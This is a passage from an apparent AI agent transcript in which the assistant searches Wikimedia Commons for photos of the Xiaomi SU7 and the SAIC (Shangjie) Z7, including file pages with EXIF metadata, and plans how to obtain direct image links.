Commons Attribution 4.0 International. #### source of file. #### Commons quality assessment. #### Wikimedia Commons quality image. * China photographs taken on 2024-11-24. File:(CHN-Shanghai) Private Xiaomi SU7 沪A7WE106 2024-11-24.jpg.", "score": 0.8440111, "published_date": ""}, {"index": 3, "title": "Category:Xiaomi SU7 - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/Category:Xiaomi_SU7", "content": "Xiaomi SU7\n\n| Electric full-size sport sedan, first car made by Xiaomi image image of interior |\n| Upload media |\n| Wikipedia |\n| Instance of | car model |\n| Subclass of | electric car battery electric vehicle |\n| Manufacturer | Xiaomi Auto |\n| Powered by | electric motor |\n| Width | 1,963 mm |\n| Length | 4,997 mm |\n| Height | 1,455 mm |\n| Wheelbase | 3,000 mm |\n| official website |\n| | Authority file | | Wikidata Q123470261 | | Reasonator Scholia Wikidocumentaries PetScan statistics WikiMap Locator tool KML file Search depicted | |\n\n## Subcategories\n\nThis category has only the following subcategory.\n\n### U\n\n Xiaomi SU7 Ultra (1 C, 10 F)\n\n## Media in category \"Xiaomi SU7\"\n\nThe following 80 files are in this category, out of 80 total. [...] Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; شیائومی اس‌یو۷; 小米SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi・SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; 小米SU7; Xiaomi SU7; Xiaomi SU7; 샤오미 SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; Xiaomi SU7; prima auto realizzata da Xiaomi; berline sportive, première voiture fabriquée par Xiaomi; Elektryczny samochód osobowy segmentu E; Cotxe Sport Sedan, primer cotxe fabricat per Xiaomi; Xiaomi tarafından yapılmış ilk araba; Elektroauto von Xiaomi Auto; Carro Sport Sedan, primeiro carro fabricado pela Xiaomi; Electric full-size sport sedan, first car made by Xiaomi; 小米的首款汽车产品; bateriový elektrický sedan; automóvil sedan deportivo; Xiaomi suqi; 小米SU7\n\nXiaomi SU7 [...] Xiaomi SU7 MY2026 IMG01.jpg 3,830 × 2,873; 2.26 MB\n \n\n Xiaomi SU7 MY2026 IMG02.jpg 3,848 × 2,886; 2.7 MB\n \n\n Xiaomi SU7 MY2026 IMG03.jpg 4,032 × 3,024; 1.96 MB\n \n\n Xiaomi SU7 Pro in Tianhe, Guangzhou 20250713.jpg 3,461 × 2,307; 4.54 MB\n \n\n Xiaomi SU7 prototype 001.jpg 1,440 × 1,080; 353 KB\n .jpg)\n\n Xiaomi SU7 purple front view (March 21, 2025).jpg.jpg \"File:Xiaomi SU7 purple front view (March 21, 2025).jpg\") 4,032 × 2,268; 3.68 MB\n .jpg)\n\n Xiaomi SU7 purple rear view (March 21, 2025).jpg.jpg \"File:Xiaomi SU7 purple rear view (March 21, 2025).jpg\") 4,032 × 2,268; 3.47 MB\n \n\n Xiaomi SU7 with Tianjin plates, lower angle from front.jpg 6,000 × 4,000; 10.56 MB\n \n\n Xiaomi SU7 with Tianjin plates.jpg 6,000 × 4,000; 11.94 MB\n \n\n Xiaomi Su7 内部 01.jpg 4,096 × 3,072; 3.43 MB", "score": 0.79254496, "published_date": ""}, {"index": 4, "title": "File:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:20241231_Xiaomi_SU7_on_display_at_Xiaomi_Store,_Grand_Emporium.jpg", "content": "| | |\n --- |\n| Camera manufacturer | Apple |\n| Camera model | iPhone 15 Pro Max |\n| Exposure time | 1/244 sec (0.0040983606557377) |\n| F-number | f/1.7799999713881 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 18:11, 31 December 2024 |\n| Lens focal length | 6.7649998656528 mm |\n| Latitude | 34° 47′ 46.7″ N |\n| Longitude | 113° 40′ 28.31″ E |\n| Altitude | 91.054 meters above sea level |\n| Width | 5,525 px |\n| Height | 3,683 px |\n| Bits per component | 8 8 8 |\n| Pixel composition | RGB |\n| Orientation | Normal |\n| Number of components | 3 |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | Adobe Photoshop 22.4 (Macintosh) |\n| File change date and time | 20:31, 3 January 2025 |\n| Y and C positioning | Centered | [...] Wikimedia Commons\n\n## Contents\n\n# File:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg\n\nFile:20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| Description20241231 Xiaomi SU7 on display at Xiaomi Store, Grand Emporium.jpg | 中文:​正弘城小米之家内展示的小米SU7 English: Xiaomi SU7 on display at Xiaomi Store, Grand Emporium |\n| Date | 31 December 2024, 18:11:43 |\n| Source | Own work |\n| Author | Windmemories |\n\n| | | | |\n --- --- |\n| Camera location | 34° 47′ 46.7″ N, 113° 40′ 28.31″ E Heading=25.695220947266° Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 34.796306; 113.674531 |\n\nHeading=25.695220947266°\nKartographer map based on OpenStreetMap.\ninfo [...] | Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 18:11, 31 December 2024 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 7.9315685722332 |\n| APEX aperture | 1.6637544366005 |\n| APEX brightness | 5.8540534009907 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 539 |\n| DateTimeDigitized subseconds | 539 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |", "score": 0.7795405, "published_date": ""}, {"index": 5, "title": "File:Xiaomi SU7 purple front view (March 21, 2025).jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg", "content": "Wikimedia Commons\n\n## Contents\n\n# File:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\nFile:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| DescriptionXiaomi SU7 purple front view (March 21, 2025).jpg | English: Xiaomi SU7 purple front view. |\n| Date | 21 March 2025, 16:18:51 |\n| Source | Own work |\n| Author | 茅野ふたば |\n\n| | | | |\n --- --- |\n| Camera location | 23° 02′ 29.37″ N, 113° 45′ 38.59″ E.jpg¶ms=023.041492_N_0113.760719_E_globe:Earth_type:camera_heading:50.93&language=en) Heading=50.927307120659° Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 23.041492; 113.760719 |\n\nHeading=50.927307120659°\nKartographer map based on OpenStreetMap.\ninfo\n\n## Licensing [...] | APEX shutter speed | 9.7429797191888 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 7.2963895073081 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 219 |\n| DateTimeDigitized subseconds | 219 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Focal length in 35 mm film | 24 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 08:18 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0.051153797654575 |\n| Reference for direction of image | True direction | [...] | | |\n --- |\n| Camera manufacturer | Apple |\n| Camera model | iPhone 14 Pro Max |\n| Exposure time | 1/857 sec (0.0011668611435239) |\n| F-number | f/1.78 |\n| ISO speed rating | 80 |\n| Date and time of data generation | 16:18, 21 March 2025 |\n| Lens focal length | 6.86 mm |\n| Latitude | 23° 2′ 29.37″ N |\n| Longitude | 113° 45′ 38.59″ E |\n| Altitude | 12.108 meters above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | 18.3 |\n| File change date and time | 16:18, 21 March 2025 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 16:18, 21 March 2025 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |", "score": 0.7407191, "published_date": ""}, {"index": 6, "title": "File:Xiaomi SU7 Max.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg", "content": "Title: File:Xiaomi SU7 Max.jpg - Wikimedia Commons\n# File:Xiaomi SU7 Max.jpg. * File usage on other wikis. File:Xiaomi SU7 Max.jpg. Original file (2,626 × 2,839 pixels, file size: 1.72 MB, MIME type: image/jpeg). Xiaomi SU7 car in Max configuration in Moscow. | Other versions | | | | | | --- | --- | --- | | Image extraction process | This image has an **extracted file**: Xiaomi SU7 Max (resized).jpg.jpg \"File:Xiaomi SU7 Max (resized).jpg\"). | Camera location | 55° 40′ 50.62″ N, 37° 32′ 18.59″ E Kartographer map based on OpenStreetMap. I, the copyright holder of this work, hereby publish it under the following license:. This file is licensed under the Creative Commons Attribution-Share Alike 4.0 International license. https://creativecommons.org/licenses/by-sa/4.0CC BY-SA 4.0 Creative Commons Attribution-Share Alike 4.0 truetrue. ## File history. Click on a date/time to view the file as it appeared at that time. | current | 20:51, 14 September 2024 | 2,626 × 2,839 (1.72 MB) | Artur Random\") (talk | contribs) | EXIF-данные сохранены |. | 20:45, 14 September 2024 | 2,626 × 2,839 (2.11 MB) | Artur Random\") (talk | contribs) | Uploaded own work with UploadWizard |. You cannot overwrite this file. ## File usage on Commons. The following page uses this file:. * File:Xiaomi SU7 Max (resized).jpg.jpg \"File:Xiaomi SU7 Max (resized).jpg\"). ## File usage on other wikis. The following other wikis use this file:. This file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. | Date and time of data generation | 10:32, 12 September 2024 |. | File change date and time | 10:32, 12 September 2024 |. | Date and time of digitizing | 10:32, 12 September 2024 |. | Scene type | A directly photographed image |. | GPS date | 12 September 2024 |. ### Items portrayed in this file. #### copyright license. #### f-number. #### source of file. * Files with coordinates missing SDC location of creation. File:Xiaomi SU7 Max.jpg.", "score": 0.71185225, "published_date": ""}, {"index": 7, "title": "File:Interior of of Xiaomi SU7 Max-20240413.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:Interior_of_of_Xiaomi_SU7_Max-20240413.jpg", "content": "Wikimedia Commons\n\n## Contents\n\n# File:Interior of of Xiaomi SU7 Max-20240413.jpg\n\nFile:Interior of of Xiaomi SU7 Max-20240413.jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| DescriptionInterior of of Xiaomi SU7 Max-20240413.jpg | English: Sporty steering wheel, with a touchscreen display. |\n| Date | 13 April 2024, 11:53:45 |\n| Source | Own work |\n| Author | Shwangtianyuan |\n\n| | | | |\n --- --- |\n| Camera location | 31° 19′ 31.27″ N, 120° 45′ 13.9″ E Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 31.325352; 120.753860 |\n\nKartographer map based on OpenStreetMap.\ninfo\n\n## Licensing\n\nw:en:Creative Commons\nattribution\nshare alike\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time. [...] | Date and time of digitizing | 11:53, 13 April 2024 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| Image compression mode | 0.95 |\n| APEX shutter speed | 29.8973 |\n| APEX aperture | 1.35 |\n| APEX brightness | 0 |\n| APEX exposure bias | 0 |\n| Maximum land aperture | 1.35 APEX (f/1.6) |\n| Metering mode | Pattern |\n| Light source | Other light source |\n| Flash | Flash did not fire |\n| DateTime subseconds | 618850 |\n| DateTimeOriginal subseconds | 618850 |\n| DateTimeDigitized subseconds | 618850 |\n| Supported Flashpix version | 1 |\n| Color space | sRGB |\n| Sensing method | One-chip color area sensor |\n| File source | Digital still camera |\n| Scene type | A directly photographed image |\n| Custom image processing | Custom process |\n| Exposure mode | Auto exposure | [...] | | |\n --- |\n| Camera manufacturer | HUAWEI |\n| Camera model | LIO-AN00m |\n| Exposure time | 1/50 sec (0.02) |\n| F-number | f/1.6 |\n| ISO speed rating | 160 |\n| Date and time of data generation | 11:53, 13 April 2024 |\n| Lens focal length | 5.56 mm |\n| Latitude | 31° 19′ 31.27″ N |\n| Longitude | 120° 45′ 13.9″ E |\n| Altitude | 0 meters above sea level |\n| Width | 7,296 px |\n| Height | 5,472 px |\n| Bits per component | 8 8 8 |\n| Orientation | 0 |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | LIO-AN00m 4.0.0.120(C00E116R3P4) |\n| File change date and time | 11:53, 13 April 2024 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.1 |\n| Date and time of digitizing | 11:53, 13 April 2024 |", "score": 0.71137124, "published_date": ""}, {"index": 8, "title": "File:Xiaomi SU7 Ultra 0001 China 2025-03-28.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_0001_China_2025-03-28.jpg", "content": "Original file (1,300 × 741 pixels, file size: 534 KB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 Ultra photographed in Chengdu, Sichuan province, China.\n\n## Summary\n\n[edit]\n\n| | |\n --- |\n| DescriptionXiaomi SU7 Ultra 0001 China 2025-03-28.jpg | English: Xiaomi SU7 Ultra photographed in Chengdu, Sichuan province, China. |\n| Date | |\n| Source | Own work |\n| Author | Navigator84 |\n| Other versions | |\n\n| | | | |\n --- --- |\n| Camera location | 30° 35′ 12.21″ N, 104° 01′ 12.17″ E Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 30.586726; 104.020047 |\n\n## Licensing\n\n[edit]\n\nI, the copyright holder of this work, hereby publish it under the following license: [...] | Camera manufacturer | HONOR |\n| Camera model | PTP-N49 |\n| Exposure time | 1/770 sec (0.0012987012987013) |\n| F-number | f/2 |\n| ISO speed rating | 100 |\n| Date and time of data generation | 16:30, 28 March 2025 |\n| Lens focal length | 6.83 mm |\n| Latitude | 30° 35′ 12.21″ N |\n| Longitude | 104° 1′ 12.17″ E |\n| Altitude | 461.712 meters above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | GIMP 2.10.38 |\n| File change date and time | 23:34, 27 May 2025 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.3 |\n| Date and time of digitizing | 16:30, 28 March 2025 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 9.595 | [...] ## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n --- --- \n| current | 19:08, 28 May 2025 | 1,300 × 741 (534 KB) | Navigator84 (talk | contribs) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThe following 3 pages use this file:\n\n User:Adeletron 3030/botgalleries/Sports/2025 May 26-28\n User:Navigator84/gallery/China\n File:Xiaomi SU7 Ultra 0002 China 2025-03-28.jpg\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n Usage on en.wikipedia.org\n + Xiaomi SU7\n Usage on ko.wikipedia.org\n + 샤오미 SU7\n Usage on pl.wikipedia.org\n + Xiaomi Auto\n + Xiaomi SU7\n Usage on uk.wikipedia.org\n + Xiaomi SU7\n\n## Metadata", "score": 0.70726365, "published_date": ""}, {"index": 9, "title": "File:20241007 Xiaomi SU7 Max.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:20241007_Xiaomi_SU7_Max.jpg", "content": "Wikimedia Commons\n\n## Contents\n\n# File:20241007 Xiaomi SU7 Max.jpg\n\nFile:20241007 Xiaomi SU7 Max.jpg\n\n## Captions\n\n### Captions\n\n## Summary\n\n| | |\n --- |\n| Description20241007 Xiaomi SU7 Max.jpg | English: Xiaomi SU7 Max at Shanghai Xiaomi Store |\n| Date | 4 October 2024, 16:30:35 |\n| Source | Own work |\n| Author | Liauzh |\n\n| | | | |\n --- --- |\n| Camera location | 31° 14′ 41.24″ N, 121° 28′ 02.77″ E Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 31.244790; 121.467435 |\n\nKartographer map based on OpenStreetMap.\ninfo\n\n## Licensing\n\nw:en:Creative Commons\nattribution\nshare alike\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time. [...] | | |\n --- |\n| Camera manufacturer | samsung |\n| Camera model | Galaxy S24+ |\n| Date and time of data generation | 16:30, 4 October 2024 |\n| Exposure time | 11/2,000 sec (0.0055) |\n| F-number | f/1.8 |\n| ISO speed rating | 64 |\n| Lens focal length | 5.4 mm |\n| Latitude | 31° 14′ 41.24″ N |\n| Altitude | 21 meters above sea level |\n| Longitude | 121° 28′ 2.76″ E |\n| Compression scheme | JPEG (old) |\n| Offset to JPEG SOI | 1,008 |\n| Bytes of JPEG data | 45,047 |\n| Height | 2,252 px |\n| Orientation | Normal |\n| File change date and time | 16:30, 4 October 2024 |\n| Vertical resolution | 72 dpi |\n| Horizontal resolution | 72 dpi |\n| Width | 4,000 px |\n| Software used | S926BXXU3AXH7 |\n| Y and C positioning | Centered |\n| APEX aperture | 1.69 |\n| Exif version | 2.2 | [...] | APEX aperture | 1.69 |\n| Exif version | 2.2 |\n| APEX exposure bias | 0 |\n| Exposure Program | Normal program |\n| Color space | Uncalibrated |\n| Unique image ID | H50XLQE00PM |\n| Maximum land aperture | 1.69 APEX (f/1.8) |\n| APEX brightness | 5.02 |\n| Supported Flashpix version | 1 |\n| DateTimeOriginal subseconds | 362 |\n| White balance | Auto white balance |\n| Exposure mode | Auto exposure |\n| Flash | Flash did not fire |\n| DateTime subseconds | 362 |\n| Focal length in 35 mm film | 23 mm |\n| DateTimeDigitized subseconds | 362 |\n| Digital zoom ratio | 1 |\n| Date and time of digitizing | 16:30, 4 October 2024 |\n| APEX shutter speed | 0.0055555555555556 |\n| Metering mode | Center weighted average |\n| Scene capture type | Standard |\n| Light source | Unknown |", "score": 0.68571854, "published_date": ""}, {"index": 10, "title": "File:Xiaomi SU7 Ultra rear view (April 7, 2025).jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Ultra_rear_view_(April_7,_2025).jpg", "content": "| APEX shutter speed | 6.9220898258478 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 4.2792810917748 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 657 |\n| DateTimeDigitized subseconds | 657 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Focal length in 35 mm film | 24 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 09:59 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0 |\n| Reference for direction of image | True direction | [...] File information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 Ultra rear view.\n\n## Summary\n\n[edit.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n --- |\n| DescriptionXiaomi SU7 Ultra rear view (April 7, 2025).jpg | English: Xiaomi SU7 Ultra rear view. |\n| Date | |\n| Source | Own work |\n| Author | 茅野ふたば |\n| Other versions | |\n\n| | | | |\n --- --- |\n| Camera location | 23° 02′ 05.73″ N, 113° 46′ 20.91″ E.jpg¶ms=023.034925_N_0113.772475_E_globe:Earth_type:camera_heading:262.68&language=en) Heading=262.678390462° Kartographer map based on OpenStreetMap. | View this and other nearby images on: OpenStreetMap | info 23.034925; 113.772475 |\n\n## Licensing\n\n[edit.jpg&action=edit§ion=2 \"Edit section: Licensing\")] [...] General\n\n What links here.jpg \"A list of all wiki pages that link here [j]\")\n Related changes.jpg \"Recent changes in pages linked from this page [k]\")\n Permanent link.jpg&oldid=1252685873 \"Permanent link to this revision of this page\")\n Page information.jpg&action=info \"More information about this page\")\n Cite this page\n Get shortened URL\n Concept URI\n\nPrint/export\n\n Download as PDF\n Printable version; \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\nFile:Xiaomi SU7 Ultra rear view (April 7, 2025).jpg\n\nSize of this preview: 960 × 540 pixels. Other resolutions: 330 × 186 pixels | 1,280 × 720 pixels | 3,840 × 2,160 pixels.\n\nOriginal file.jpg\") (4,032 × 2,268 pixels, file size: 2.83 MB, MIME type: image/jpeg)", "score": 0.67911536, "published_date": ""}], "total_results": 10}}, "tool_call_id": "tool_tHN9XsFo50RxYSzVYxrTF1Mc", "name": "web_search"}, {"role": "assistant", "reasoning_content": "确认信息:\n- 尚界Z7:华为鸿蒙智行+上汽合作品牌\"尚界\"的第二款车,定位风尚科技轿跑,2026年4月22日上市,21.98万起,对标小米SU7。还有猎装版Z7T。\n- 小米SU7:小米首款车,纯电轿跑。\n\n小米SU7在Wikimedia Commons上有很多图片。尚界Z7是2026年新车,Wikimedia Commons可能也有,搜一下。\n\n我需要拿到图片直链。Wikimedia Commons的文件页面需要提取真实图片URL(upload.wikimedia.org)。\n\n计划:\n1. 搜尚界Z7 site:commons.wikimedia.org\n2. 提取小米SU7的一个好的正面/侧面照片文件页,拿到直链\n\n尚界Z7如果Commons没有,就去鸿蒙智行官网 hima.auto/shangjie/z7-z7t 提取官方图片,或者用汽车媒体页面的图片。官网图片通常CDN可直链,但可能有防盗链。先试Commons。\n\n提取 commons 文件页用 extract_webpage,从HTML中找 upload.wikimedia.org 的链接。不过 extract_webpage 可能返回正文文本而非HTML。另一个方法:用 Commons API。但沙箱网络受限,run_command 里 curl 外网不可用。只能靠 extract_webpage 工具。\n\n其实有个技巧:Wikimedia Commons 图片直链规则是 https://upload.wikimedia.org/wikipedia/commons/{hash1}/{hash1hash2}/{filename},hash不好猜。但可以用 Special:FilePath 重定向:https://commons.wikimedia.org/wiki/Special:FilePath/Xiaomi_SU7_Max.jpg 会302到真实URL。但 是否跟随重定向?大概率浏览器直接加载会跟随。更稳妥的是用 upload.wikimedia.org 的缩略图URL,但还是需要hash。\n\n另一个稳定方式:使用 Special:FilePath 直接作为图片src,例如:\nhttps://commons.wikimedia.org/wiki/Special:FilePath/Xiaomi%20SU7%20Max.jpg?width=1200\n这个URL支持 ?width 参数返回缩放图。浏览器加载时会跟随302到upload.wikimedia.org。通常可行。\n\n不过更保险的做法是 extract_webpage 提取文件页,里面通常包含 fullMedia 链接。\n\n先并行做:\n1. web_search: 尚界Z7 site:commons.wikimedia.org\n2. extract_webpage: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg (拿直链)\n\n尚界Z7若Commons没有,就提取鸿蒙智行官网页面找图。", "content": "尚界Z7(华为鸿蒙智行×上汽的轿跑,2026年4月上市)和小米SU7确认。现在找两车的高清照片直链。", "timestamp": "2026-08-23T13:34:01.252573", "message_id": "msg_18c2b77a08e24886b454d80ab2d35d2f", "metadata": {"model_key": "Kimi-K3"}, "tool_calls": [{"id": "tool_hkV7E8S9dyJsBzknfqz6KD78", "index": 0, "type": "function", "function": {"name": "web_search", "arguments": "{\"intent\": \"找尚界Z7维基共享图片\", \"query\": \"Shangjie Z7 OR 尚界Z7 site:commons.wikimedia.org\", \"topic\": \"general\"}"}}, {"id": "tool_fCXxabfP9kYn3dAkbUC4Mc3C", "index": 1, "type": "function", "function": {"name": "extract_webpage", "arguments": "{\"intent\": \"提取小米SU7图片直链\", \"url\": \"https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\"}"}}]}, {"role": "tool", "content": "{\"success\": true, \"summary\": \"🔍 搜索查询: Shangjie Z7 OR 尚界Z7 site:commons.wikimedia.org\\n📅 搜索时间: 2026-08-23T13:34:08.692338\\n🎯 过滤条件: Topic: general\\n\\n📊 搜索结果:\\n\\n1. Category:SAIC Z7 - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/Category:SAIC_Z7\\n 📄 Jump to content\\n\\n Wikimedia Commons\\n\\nSearch\\n\\n# Category:SAIC Z7\\n\\nHelp\\n\\n Category\\n Discussion [t]\\\")\\n\\n Read\\n Edit\\n View history\\n\\nTools\\n\\nActions\\n\\n Read\\n Edit\\n View history\\n\\nGeneral\\n\\n What links here\\n Re...\\n\\n2. Category:SAIC Z7 — Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/Category:SAIC_Z7?uselang=uk\\n 📄 Wikimedia Commons\\n\\n# Category:SAIC Z7\\n\\nSAIC Z7\\n\\n| | |\\n --- |\\n| mid-size sedan and shooting brake | |\\n| Завантажити медіафайл | |\\n| Вікіпедія | |\\n| Є одним із | модель автомобіля |\\n| Є підкласом | ...\\n\\n3. File:2026 SAIC Z7T (front).jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:2026_SAIC_Z7T_(front).jpg\\n 📄 File information\\n\\nStructured data\\n\\n## Captions\\n\\n### Captions\\n\\nSilver Chinese shooting brake\\n\\n## Summary\\n\\n[edit.jpg&action=edit§ion=1 \\\"Edit section: Summary\\\")]\\n\\n| | |\\n --- |\\n| Description2026 SAI...\\n\\n4. User:Navigator84/gallery/China/HIMA - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/User:Navigator84/gallery/China/HIMA\\n 📄 Wikimedia Commons\\n\\n# User:Navigator84/gallery/China/HIMA\\n\\nHarmony Intelligent Mobility Alliance - 鸿蒙智能汽车技术生态联盟 - Hóngméng Zhìnéng Qìchē Jìshù Shēngtài Liánméng.\\n\\naka HIMA - 鸿蒙智行 - Hóngméng Zhìnéng.\\n\\n#...\\n\\n5. File:SAIC Z7 MY2026 IMG01.jpg - Wikimedia Commons\\n 🔗 https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\\n 📄 | | |\\n --- |\\n| Camera manufacturer | Apple |\\n| Camera model | iPhone 14 Pro Max |\\n| Exposure time | 1/3,367 sec (0.0002970002970003) |\\n| F-number | f/1.78 |\\n| ISO speed rating | 64 |\\n| Date and time...\", \"query\": \"Shangjie Z7 OR 尚界Z7\", \"filters\": {\"topic\": \"general\"}, \"total_results\": 5, \"results\": [{\"index\": 1, \"title\": \"Category:SAIC Z7 - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/Category:SAIC_Z7\"}, {\"index\": 2, \"title\": \"Category:SAIC Z7 — Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/Category:SAIC_Z7?uselang=uk\"}, {\"index\": 3, \"title\": \"File:2026 SAIC Z7T (front).jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:2026_SAIC_Z7T_(front).jpg\"}, {\"index\": 4, \"title\": \"User:Navigator84/gallery/China/HIMA - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/User:Navigator84/gallery/China/HIMA\"}, {\"index\": 5, \"title\": \"File:SAIC Z7 MY2026 IMG01.jpg - Wikimedia Commons\", \"url\": \"https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\"}]}", "timestamp": "2026-08-23T13:34:08.760132", "message_id": "msg_427272f4513f40fdbf45d75e758bc5b4", "metadata": {"tool_payload": {"success": true, "summary": "🔍 搜索查询: Shangjie Z7 OR 尚界Z7 site:commons.wikimedia.org\n📅 搜索时间: 2026-08-23T13:34:08.692338\n🎯 过滤条件: Topic: general\n\n📊 搜索结果:\n\n1. Category:SAIC Z7 - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/Category:SAIC_Z7\n 📄 Jump to content\n\n Wikimedia Commons\n\nSearch\n\n# Category:SAIC Z7\n\nHelp\n\n Category\n Discussion [t]\")\n\n Read\n Edit\n View history\n\nTools\n\nActions\n\n Read\n Edit\n View history\n\nGeneral\n\n What links here\n Re...\n\n2. Category:SAIC Z7 — Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/Category:SAIC_Z7?uselang=uk\n 📄 Wikimedia Commons\n\n# Category:SAIC Z7\n\nSAIC Z7\n\n| | |\n --- |\n| mid-size sedan and shooting brake | |\n| Завантажити медіафайл | |\n| Вікіпедія | |\n| Є одним із | модель автомобіля |\n| Є підкласом | ...\n\n3. File:2026 SAIC Z7T (front).jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:2026_SAIC_Z7T_(front).jpg\n 📄 File information\n\nStructured data\n\n## Captions\n\n### Captions\n\nSilver Chinese shooting brake\n\n## Summary\n\n[edit.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n --- |\n| Description2026 SAI...\n\n4. User:Navigator84/gallery/China/HIMA - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/User:Navigator84/gallery/China/HIMA\n 📄 Wikimedia Commons\n\n# User:Navigator84/gallery/China/HIMA\n\nHarmony Intelligent Mobility Alliance - 鸿蒙智能汽车技术生态联盟 - Hóngméng Zhìnéng Qìchē Jìshù Shēngtài Liánméng.\n\naka HIMA - 鸿蒙智行 - Hóngméng 